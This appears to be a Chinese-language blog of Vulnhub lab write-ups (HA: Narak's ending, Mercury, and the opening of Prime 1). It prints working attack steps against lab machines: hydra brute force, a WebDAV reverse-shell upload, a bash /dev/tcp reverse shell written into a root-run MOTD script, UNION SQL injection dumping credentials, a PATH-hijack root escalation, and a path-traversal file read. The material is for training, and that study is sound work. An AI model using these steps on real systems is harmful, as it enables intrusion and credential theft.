扫描结果中发现了两个有意思的目录，后续可以重点跟进，不过常规扫描不能有遗漏。

 http-enum:

|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

|_  /webdav/: Potentially interesting folder (401 Unauthorized)

UDP 扫描

补了一个 UDP 扫描，确保没有遗漏开放的 UDP 服务。

nmap -sU --top-ports 20 192.168.200.128 -oA udp

好在做了这一步，不然会遗漏重要信息。扫描发现了两个开放的服务：

68/udp    open|filtered dhcpc

69/udp    open|filtered tftp

1.2 Web 探测

目录枚举（dirsearch）

dirsearch -u "http://192.168.200.128/" -oA dirs.txt

# 关键结果：
[04:35:01] 301 -  319B  - /images  ->  http://192.168.200.128/images/
[04:35:01] 200 -  706B  - /images/
[04:35:08] 403 -  280B  - /server-status
[04:35:13] 401 -  462B  - /webdav/          # <-- 需要认证
[04:35:13] 401 -  462B  - /webdav/index.html

Web 主页是一个图片展示页面，虽然图片数量较多，理论上存在图片隐写的可能，但优先级不高，暂时放弃，先去探索其他方向。

/webdav

访问该路径需要通过 HTTP 基本认证，简单尝试了几个弱密码均无果，后续可能需要进行爆破或在系统中寻找相关凭证。

这里尝试使用常见弱密码字典进行爆破：

hydra -L /usr/share/wordlists/metasploit/http_default_users.txt \
      -P /usr/share/wordlists/metasploit/http_default_pass.txt \
      192.168.200.128 http-get /webdav/

暴力破解无果，决定转去收集相关凭证信息。

目录扫描（gobuster）

dirsearch 没扫出什么有价值的东西，换 gobuster 配合更大字典重扫，并加上限定后缀名，主要目的是寻找凭证相关文件。

补充扫描时推荐加上 gobuster 默认不扫的扩展名，比如：zip、bak、rar、sql、txt

gobuster dir -u http://192.168.200.128 \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,html,txt,bak \
    -t 50

果然发现了之前遗漏掉的信息。

/tips.txt

访问 http://192.168.200.128/tips.txt，内容提示凭据在 creds.txt 里。

1.3 TFTP 探测

UDP 扫描发现 69/udp open|filtered tftp。TFTP 是一个基于 UDP 的轻量级文件传输工具，虽然无法列目录，但可以通过已知文件名直接尝试下载。

结合 tips.txt 的提示，通过 TFTP 下载 creds.txt：

文件中存放了一段 Base64 编码的密文：

$ cat creds.txt 
eWFtZG9vdDpTd2FyZw==

解码得到明文凭据：

$ cat creds.txt | base64 -d > bd.txt
$ cat bd.txt
yamdoot:Swarg

2. 渗透阶段

2.1 WebDAV Webshell 上传

拿到凭据后尝试登录 /webdav/，页面空白但认证成功。查询相关资料得知，WebDAV 是 HTTP 协议的文件管理扩展，原生支持 PUT 方法直接上传文件，不需要表单入口。

注意这里 WebDAV 使用的是 Digest 认证（而非 Basic Auth），curl 需要加 --digest 参数才能完成两步握手流程。

当然在上传文件之前，可以用 davtest 检查 WebDAV 支持哪些操作权限：

$ davtest -url http://192.168.200.128/webdav -auth yamdoot:Swarg

确认可以上传 PHP 文件，且 Checking for test file execution 中显示 PHP 文件具有执行权限。

Curl 方式上传

上传反弹 shell：

$ curl --digest -u 'yamdoot:Swarg' \
    -T shell.php \
    http://192.168.200.128/webdav/

访问 http://192.168.200.128/webdav/shell.php 触发反弹 shell，本地监听端口成功收到连接获得 WebShell。

Cadaver 方式上传

相比 curl 的繁琐，其实有很多 WebDAV 工具可以直接交互连接：

$ cadaver http://192.168.200.128/webdav

3. 提权

获得 webshell 后，先升级到交互式 shell：

python3 -c 'import pty;pty.spawn("/bin/bash")'

3.1 横向移动

对系统进行了基础的信息收集，检查 SUID 文件权限、定时任务、版本信息等，均没有收获。用已知凭据尝试切换到其他用户也没有成功。

随后翻看 /home 目录，在 inferno 用户目录下找到了 user flag：

www-data@ubuntu:/home$ ls -liah inferno
total 24K
1062644 drwxr-xr-x 2 inferno inferno 4.0K Sep 22  2020 .
1048577 drwxr-xr-x 5 root    root    4.0K Sep 22  2020 ..
1062646 -rw-r--r-- 1 inferno inferno  220 Sep 22  2020 .bash_logout
1062647 -rw-r--r-- 1 inferno inferno 3.7K Sep 22  2020 .bashrc
1062648 -rw-r--r-- 1 inferno inferno  807 Sep 22  2020 .profile
1062650 -rw-r--r-- 1 root    root      41 Sep 22  2020 user.txt   # <-- 但当前用户能直接读

www-data@ubuntu:/home$ cat inferno/user.txt
Flag: {5f95bf06ce19af69bfa5e53f797ce6e2}

找到 user flag 还不够，目标是提权。继续查找当前用户可写的文件，发现了一个有意思的 shell 脚本，所有用户均有写权限，所属用户是 root，但问题是我无法直接执行它，需要想办法让其他用户去触发。

这里走了一段弯路，一直想在当前用户下直接完成提权。回过头来看，这个 shell 脚本里其实藏了一段加密密文，仔细查看文件内容：

www-data@ubuntu:/home$ find / -writable -type f ! -path '/proc/*' 2>/dev/null

find / -writable -type f ! -path '/proc/*' 2>/dev/null

/mnt/hell.sh**

打过 CTF 的人应该对这串文字很熟悉，这是一段 Brainfuck 编码。

在 Kali 中安装 beef 解释器运行后得到凭据：

chitragupt

在获得密文之后，我们可以再次尝试对其他用户进行横向移动，用 SSH 去连接我们之前看到的几个用户。

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
yamdoot:x:1001:1001:,,,:/home/yamdoot:/bin/bash
inferno:x:1002:1002:,,,:/home/inferno:/bin/bash

用这个密码切换到 inferno 用户：

┌──(kali㉿kali)-[~/vulnhub/ha_narak/web]
└─$ ssh inferno@192.168.200.128   
# 输入密码：chitragupt

成功切换到 inferno。

3.2 信息收集（inferno）

可写文件

inferno@ubuntu:~$ find / -writable -type f ! -path '/proc/*' 2>/dev/null

发现两处可利用点：/mnt/hell.sh 和 /etc/update-motd.d/ 下的多个脚本。

3.3 提权利用

/etc/update-motd.d/ 里的脚本会在用户 SSH 登录时以 root 权限执行，可以利用 MOTD 机制完成提权——将反弹 shell 写入其中，SSH 登录时即可获取 root 权限。

往 00-header 写入反弹 shell ：

echo '/bin/bash -c "bash -i >& /dev/tcp/192.168.200.142/4443 0>&1"' \
    >> /etc/update-motd.d/00-header

本地开启监听：

nc -lvnp 4443

SSH 登录 inferno 触发 motd 执行：

ssh inferno@192.168.200.128

成功收到 root shell，提权完成。

root.txt

4. 总结

整台靶机的难度并不算高，你只需要对 TFTP、WebDAV 有一个简单的了解，就可以获取 Webshell。不过在提权阶段，如果你对 Brainfuck 的编码方式不熟悉的话，就无法进行后续的操作。而且还需要你了解 Linux 中 MOTD 提权的原理，才能完成提权。

5. 补充

5.1 关于网站目录扫描详细介绍

dirsearch 默认字典

dirsearch 内置了一个位于 db/dicc.txt 的字典，包含约 10,000 条条目。

在 Kali 上通过 apt 安装的版本，配置文件位于 /etc/dirsearch/default.conf，可以在里面修改默认字典路径、扩展名、超时等参数。

dirsearch 字典有个特殊设计：默认情况下 dirsearch 只会将 %EXT% 关键字替换为扩展名，而不会给每个词条都加扩展名。如果你使用 SecLists 这类不含 %EXT% 的字典，需要加 -f / --force-extensions 参数，才能给每个词条追加扩展名。

更全面的字典选择

字典优先推荐从 SecLists 取，路径在 /usr/share/seclists/Discovery/Web-Content/，核心推荐：

字典	条目数	特点
`raft-small-directories.txt`	~20,000	来自真实爬虫数据，噪声低，快速扫描首选
`raft-large-directories.txt`	~62,000	RAFT 项目出品，真实网站目录，准确率高
`directory-list-2.3-medium.txt`	~220,000	业界标准字典，来源于 DirBuster，覆盖面广
`directory-list-2.3-big.txt`	~1,200,000	覆盖最全，耗时长，深度测试用
`common.txt` (dirb 自带)	~4,600	最小快速，临时验证用

SecLists 安装：

sudo apt install seclists
# 或
git clone https://github.com/danielmiessler/SecLists /usr/share/seclists

SecLists 在 Kali Linux 上默认附带，是 OSCP、HackTheBox 等实战场景中的默认基线。

OSCP 实战建议策略：

快速初扫：raft-small-directories.txt
标准扫：directory-list-2.3-medium.txt
针对 PHP 站点加 -e php,html,txt,bak,old

替代工具对比

1. gobuster（OSCP 最常用）

Go 编写，速度快，语法直观：

gobuster dir -u http://target \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -x php,html,txt,bak \
  -t 50 \
  --timeout 10s

2. ffuf（更灵活，推荐）

模糊测试专用，支持多种场景，过滤功能强：

ffuf -u http://target/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -e .php,.html,.txt,.bak \
  -fc 404,403 \
  -t 50

3. feroxbuster（递归扫描首选）

feroxbuster 结合暴力破解与字典来搜索目标目录中未被链接的内容，这类资源可能存储了 Web 应用或运维系统的敏感信息，如源代码、凭据、内网地址等。最大优势是自动递归：

feroxbuster -u http://target \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -x php,html,txt \
  -t 50 \
  -L 3          # 递归深度

4. dirb（轻量，快速验证）

内置 common.txt（4600 词），适合快速初探：

dirb http://target /usr/share/wordlists/dirb/common.txt

OSCP 备考推荐工作流

1. dirb common.txt         → 30秒快速摸底
2. gobuster/ffuf + raft-small  → 标准扫描
3. feroxbuster + medium.txt    → 发现有意思目录后递归深挖
4. 针对特定技术栈换专项字典    → 如 /usr/share/seclists/Discovery/Web-Content/CMS/

主要工具推荐顺序：ffuf > feroxbuster > gobuster，dirsearch 适合快速验证，深度扫描换前三者配合 SecLists 更高效。

6. 参考链接

https://www.runoob.com/linux/linux-comm-tftp.html

https://medium.com/@matei.talpau/ha-narak-writeup-e9d535d1e115

https://www.bilibili.com/video/BV1R84y1w7MK/?spm_id_from=333.1387.favlist.content.click&vd_source=fb8eb6dfcbd71299a284e8d99e7ec589

Vulnhub Mercury WriteUp

Wed, 01 Jul 2026 00:00:00 GMT

前言

靶场介绍

Mercury 是一台偏简单的靶机，适合入门到进阶过渡阶段练手，主要练的是 Django 调试模式信息泄露、手工 SQL 注入拿凭据，以及拿到立足点之后的横向移动和环境变量劫持提权。整体攻击链清晰，没有太多绕弯子的地方。

靶场信息

项目	内容
靶机名称	Mercury
靶机 IP	192.168.200.128
靶机官网	https://www.vulnhub.com/entry/the-planets-mercury,544/
镜像下载	https://download.vulnhub.com/theplanets/Mercury.ova

涉及工具

nmap
浏览器（手工 SQL 注入）

1.信息收集

1.1 Nmap 信息扫描

端口扫描

nmap -sT -p- --min-rate 10000 192.168.200.128 -oA ports
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
MAC Address: 00:0C:29:AF:1C:5C (VMware)

详细信息

nmap -sT -sV -sC -O -p22,8080 192.168.200.128 -oA detail
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 03:19 -0400
Nmap scan report for 192.168.200.128
Host is up (0.00048s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c8:24:ea:2a:2b:f1:3c:fa:16:94:65:bd:c7:9b:6c:29 (RSA)
|   256 e8:08:a1:8e:7d:5a:bc:5c:66:16:48:24:57:0d:fa:b8 (ECDSA)
|_  256 2f:18:7e:10:54:f7:b9:17:a2:11:1d:8f:b3:30:a5:2a (ED25519)
8080/tcp open  http    WSGIServer 0.2 (Python 3.8.2)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-robots.txt: 1 disallowed entry
|_/
MAC Address: 00:0C:29:AF:1C:5C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds

只有 22 和 8080 两个端口，8080 跑的是 Python WSGIServer，从 banner 基本能判断后端是 Django，重点放在这上面。

1.2 Web 探测

直接访问 8080，页面报了 Django 的调试错误，说明 DEBUG = True 还开着：

You're seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard 404 page.

调试页里直接把路由配置暴露出来了：

Using the URLconf defined in `mercury_proj.urls`, Django tried these URL patterns, in this order:

1. [name='index']
2. robots.txt [name='robots']
3. mercuryfacts/

	The current path, `admin`, didn't match any of these.

顺着路由去看 mercuryfacts/：

http://192.168.200.128:8080/mercuryfacts/

按 id 访问具体的 fact，比如 mercuryfacts/1/：

Fact id: 1. (('Mercury does not have any moons or rings.',),)
Fact id: 2. (('Mercury is the smallest planet.',),)
Fact id: 3. (('Mercury is the closest planet to the Sun.',),)
Fact id: 4. (('Your weight on Mercury would be 38% of your weight on Earth.',),)
Fact id: 5. (('A day on the surface of Mercury lasts 176 Earth days.',),)
Fact id: 6. (('A year on Mercury takes 88 Earth days.',),)
Fact id: 7. (("It's not known who discovered Mercury.",),)
Fact id: 8. (('A year on Mercury is just 88 days long.',),)

再看 mercuryfacts/todo，里面是开发者留的待办：

Still todo:

- Add CSS.
- Implement authentication (using users table)
- Use models in django instead of direct mysql call
- All the other stuff, so much!!!

这里提到 Use models in django instead of direct mysql call，说明现在还是直接拼接 mysql 查询，没走 ORM——结合前面 id 参数会带进查询，这个点值得测一下注入。

2.权限立足

先用闭合加恒假条件测一下 mercuryfacts/1/ 这个 id 参数：

http://192.168.200.128:8080/mercuryfacts/1'%20and%201%3D2%20--%20-/

确认存在注入后，开始用 union 联合查询逐步爆库爆表爆字段：

http://192.168.200.128:8080/mercuryfacts/1 union select database() -- +
mercury


http://192.168.200.128:8080/mercuryfacts/1 union select group_concat(table_name) from information_schema.tables
where table_schema=database() -- +

facts,users


http://192.168.200.128:8080/mercuryfacts/1 union select group_concat(column_name) from information_schema.columns
where table_schema=database() and table_name='users' -- +

('id,password,username',))


http://192.168.200.128:8080/mercuryfacts/1 union select group_concat(id,'-',password,'-',username) from users -- +

('1-johnny1987-john,2-lovemykids111-laura,3-lovemybeer111-sam,4-mercuryisthesizeof0.056Earths-webmaster',))

拿到了四组凭据，重点关注最后一组 webmaster：

mercuryisthesizeof0.056Earths / webmaster

3.提权

3.1 信息收集

用 webmaster 登录后先过一遍常见基础信息。

先看当前用户的 sudo 权限：

webmaster@mercury:~$ sudo -l
[sudo] password for webmaster:
Sorry, user webmaster may not run sudo on mercury.

再翻计划任务：

webmaster@mercury:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

再找 SUID 文件：

webmaster@mercury:~$ find / -perm -u=s -type f 2>/dev/null

sudo 没权限、crontab 没可利用项、SUID 也没找到东西。

3.2 拿 user flag 与翻找凭据

先把 user flag 拿了：

webmaster@mercury:~$ pwd
/home/webmaster

webmaster@mercury:~$ ll
total 36
drwx------ 4 webmaster webmaster 4096 Sep  2  2020 ./
drwxr-xr-x 5 root      root      4096 Aug 28  2020 ../
lrwxrwxrwx 1 webmaster webmaster    9 Sep  1  2020 .bash_history -> /dev/null
-rw-r--r-- 1 webmaster webmaster  220 Aug 27  2020 .bash_logout
-rw-r--r-- 1 webmaster webmaster 3771 Aug 27  2020 .bashrc
drwx------ 2 webmaster webmaster 4096 Aug 27  2020 .cache/
drwxrwxr-x 5 webmaster webmaster 4096 Aug 28  2020 mercury_proj/
-rw-r--r-- 1 webmaster webmaster  807 Aug 27  2020 .profile
-rw-rw-r-- 1 webmaster webmaster   75 Sep  1  2020 .selected_editor
-rw------- 1 webmaster webmaster   45 Sep  1  2020 user_flag.txt

webmaster@mercury:~$ cat user_flag.txt
[user_flag_8339915c9a454657bd60ee58776f4ccd]

继续翻家目录里的 mercury_proj，注意到一个 notes.txt，把它读出来：

webmaster@mercury:~/mercury_proj$ ll
total 28
drwxrwxr-x 5 webmaster webmaster 4096 Aug 28  2020 ./
drwx------ 4 webmaster webmaster 4096 Sep  2  2020 ../
-rw-r--r-- 1 webmaster webmaster    0 Aug 27  2020 db.sqlite3
-rwxr-xr-x 1 webmaster webmaster  668 Aug 27  2020 manage.py*
drwxrwxr-x 6 webmaster webmaster 4096 Sep  1  2020 mercury_facts/
drwxrwxr-x 4 webmaster webmaster 4096 Aug 28  2020 mercury_index/
drwxrwxr-x 3 webmaster webmaster 4096 Aug 28  2020 mercury_proj/
-rw------- 1 webmaster webmaster  196 Aug 28  2020 notes.txt

webmaster@mercury:~/mercury_proj$ cat notes.txt
Project accounts (both restricted):
webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK
linuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==

里面是两个账户的凭据，密码是 base64 编码的，解一下 linuxmaster 那条：

echo 'bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==' | base64 -d
mercurymeandiameteris4880km

3.3 横向移动到 linuxmaster

横向移动到 linuxmaster，再看一下它的 sudo 权限：

webmaster@mercury:~/mercury_proj$ su linuxmaster
Password:

linuxmaster@mercury:/home/webmaster/mercury_proj$ sudo -l
[sudo] password for linuxmaster:
Matching Defaults entries for linuxmaster on mercury:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User linuxmaster may run the following commands on mercury:
    (root : root) SETENV: /usr/bin/check_syslog.sh

这里关键点是 SETENV——允许保留环境变量执行 /usr/bin/check_syslog.sh。脚本里如果用了相对路径调命令（比如 tail），就能通过 PATH 劫持把自己的恶意 tail 顶上去，用 root 身份执行。

3.4 环境变量劫持提权

在 /tmp 下伪造一个 tail，让它直接拉起一个 bash，然后保留 PATH 调用目标脚本：

cd /tmp
cat > tail << 'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x tail
sudo PATH=/tmp:$PATH /usr/bin/check_syslog.sh

拿到 root，读取 root flag：

Congratulations on completing Mercury!!!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_69426d9fda579afbffd9c2d47ca31d90]

4.总结

对比前一台靶机难度真的少了很多，唯一的不足就是对 Python 搭建的 Web 环境不是很熟悉，但是在搜索和 AI 的帮助下，马上就找到了重点，使用 SQL 注入获取到了凭证。后续的提权也非常简单没绕什么弯子，通过 Web 泄露的凭证登入了一个账户，权限横移，环境变量劫持轻松拿下。

5.补充

Django 是什么

Django 是一个用 Python 写的 Web 框架——就是用来快速搭建网站后端的工具。你之前接触过 WordPress（PHP 写的），Django 是同一个生态位的东西，只不过用 Python。Nmap 扫出的 WSGIServer 0.2 (Python 3.8.2) 就是它的运行特征：Python 写的 Web 服务。

URLconf / URL 模式是什么

Django 网站的核心机制：开发者预先定义一张"路由表"，规定哪些网址路径对应哪些功能。你访问 /admin 时，Django 拿这个路径去和路由表逐条比对，没匹配上，就报 404。

Vulnhub Prime 1 WriteUp

Wed, 01 Jul 2026 00:00:00 GMT

前言

靶场介绍

Prime: 1 是 Suraj Pandey 在 2019 年 9 月 1 日发布的 Prime 系列第一台机器，面向正在备考 OSCP 或 OSCP-Exam 的人练手。整台机器的玩法基本就是一关一关解谜：每拿到一个线索都会被提示"去找下一个东西"，逼着你不停地手动 fuzz 和枚举，而不是直接给一条打穿的路。前期信息收集和站点突破阶段难度中等偏易，一旦拿到落脚点之后提权阶段相对简单。

靶场信息

字段	值
靶机名	Prime: 1
靶机 IP	192.168.200.128
靶机 URL	https://www.vulnhub.com/entry/prime-1,358/
下载（镜像）	https://download.vulnhub.com/prime/Prime_Series_Level-1.rar
难度等级	入门到中级
目标	获取 user.txt，提权到 root，获取root.txt

涉及工具

nmap（端口扫描 / 服务识别 / 漏洞脚本 / UDP 扫描）
dirsearch / gobuster（目录枚举）
curl
wfuzz（参数 fuzz）
WordPress 后台主题编辑器（写入反弹 shell）
searchsploit
gcc（编译内核提权 EXP）

思维导图

1.信息收集

1.1 Nmap 信息扫描

端口扫描

nmap -sT --min-rate 10000 -p- 192.168.200.128 -oA ports

详细信息

nmap -sT -sV -sC -O -p22,80 192.168.200.128 -oA details

漏洞扫描

┌──(kali㉿kali)-[~/vulnhub/prime1/nmap]
└─$ nmap --script=vuln -p22,80 192.168.200.128 -oA vuln
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-17 07:33 -0400
Nmap scan report for 192.168.200.128
Host is up (0.00023s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum: 
|   /wordpress/: Blog
|_  /wordpress/wp-login.php: Wordpress login page.
MAC Address: 00:0C:29:F4:54:DD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 321.65 seconds

漏洞脚本没扫出能直接用的点，主要价值是确认了 /wordpress/ 这个路径的存在。

UDP 扫描

┌──(kali㉿kali)-[~/vulnhub/prime1/nmap]
└─$ nmap -sU --top-ports 20 192.168.200.128 -oA udp     
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-17 07:32 -0400
Nmap scan report for 192.168.200.128
Host is up (0.00019s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   closed        isakmp
514/udp   open|filtered syslog
520/udp   closed        route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  closed        nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:F4:54:DD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 9.59 seconds

UDP 前 20 个常见端口基本都是 open|filtered，没有明确开放的服务，没有进一步追的价值。

1.2 Web 探测

目录枚举

目录枚举先用 dirsearch 快速扫了一遍，没有发现特别的东西，于是换大字典再扫一次。

大字典枚举：

$ gobuster dir -u http://192.168.200.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x tar,rar,txt,php,html,bak,zip

index.php            (Status: 200) [Size: 136]
image.php            (Status: 200) [Size: 147]
wordpress            (Status: 301) [Size: 322] [--> http://192.168.200.128/wordpress/]
dev                  (Status: 200) [Size: 131]
javascript           (Status: 301) [Size: 323] [--> http://192.168.200.128/javascript/]
secret.txt           (Status: 200) [Size: 412]
server-status        (Status: 403) [Size: 303]

重点是这个文件给了些提示，这个叫 secret 的文件引起了我的注意，但有可能是兔子洞。

$ curl http://192.168.200.128/secret.txt  
Looks like you have got some secrets.

Ok I just want to do some help to you. 

Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck 
Learn from here a basic tool with good usage for OSCP.

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
 

//see the location.txt and you will get your next move//

顺着提示访问这个仓库：https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

这个页面给的是一份用 wfuzz 做 Web 参数发现（parameter discovery）的用法说明：核心思路是固定一个页面，把请求里的参数名替换成字典里的 FUZZ 关键字逐个轮询，再根据响应的状态码、行数、字数、字符数把"无效参数"批量过滤掉，剩下的就是页面真正接受的参数。结合 secret.txt 里"对每个 php 页面再 fuzz 一下"的提示，可以确定作者是想让我用这套方法去爆破 index.php / image.php 的有效参数。

FUZZ-GET 参数名爆破

照着仓库里的用法开始对 index.php 做参数 fuzz。先按说明里给的原始命令试了一下，结果整页都返回 200，正如笔记里说的——没有任何过滤条件时全部命中，没法区分有效无效：

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 http://website.com/secret.php?FUZZ=something

换成打实际靶机的命令并加上 --hw 500 想过滤掉一批，但 500 这个阈值没卡准，结果还是没干净过滤，不过此时返回内容已经缩小，可以先用目测法看出规律：

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://192.168.200.128/index.php?FUZZ=something

由于无效参数回显的 word 数都是 12，把 --hw 设置为 12，把这批多余内容全部隐藏掉，最终就过滤出了真正有用的那条参数：

$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 12 http://192.168.200.128/index.php?FUZZ=something

结果指向 file 这个参数（关于 Lines / Word / Chars 三个值具体怎么算、为什么挑 12 做阈值，我当时卡了一下，详细排查记录放在文末第 5 节补充里）。拿到参数名后，先用一个随便的值测一下 index.php?file= 的回显内容：

Do something better you are digging wrong file 做点更好的，你找错文件了。

回显说"做点更好的，你找错文件了"，说明参数对了但读的文件不对。我想起前面 secret.txt 末尾那句一直没用上的提示————//see the location.txt and you will get your next move//，于是把要读的文件换成 location.txt：

回显里给出了两条信息：一是确认 file 就是正确参数，二是提示我去别的 php 页面上用 secrettier360 这个参数继续挖。之前目录扫描时除了 index.php 还扫到过一个 image.php，可以去另外一个页面上尝试一下。

页面回显 "finaly you got the right parameter"，说明 secrettier360 就是 image.php 接受的参数。既然作者一路提示都在引导往文件方向走，我猜这个参数背后多半是个文件包含点，于是直接拿它做路径穿越去读 /etc/passwd 验证：

┌──(kali㉿kali)-[~/vulnhub/prime1/web]
└─$ curl http://192.168.200.128/image.php?secrettier360=../../../../../../../etc/passwd
<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p>
</body>
finaly you got the right parameter<br><br><br><br>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
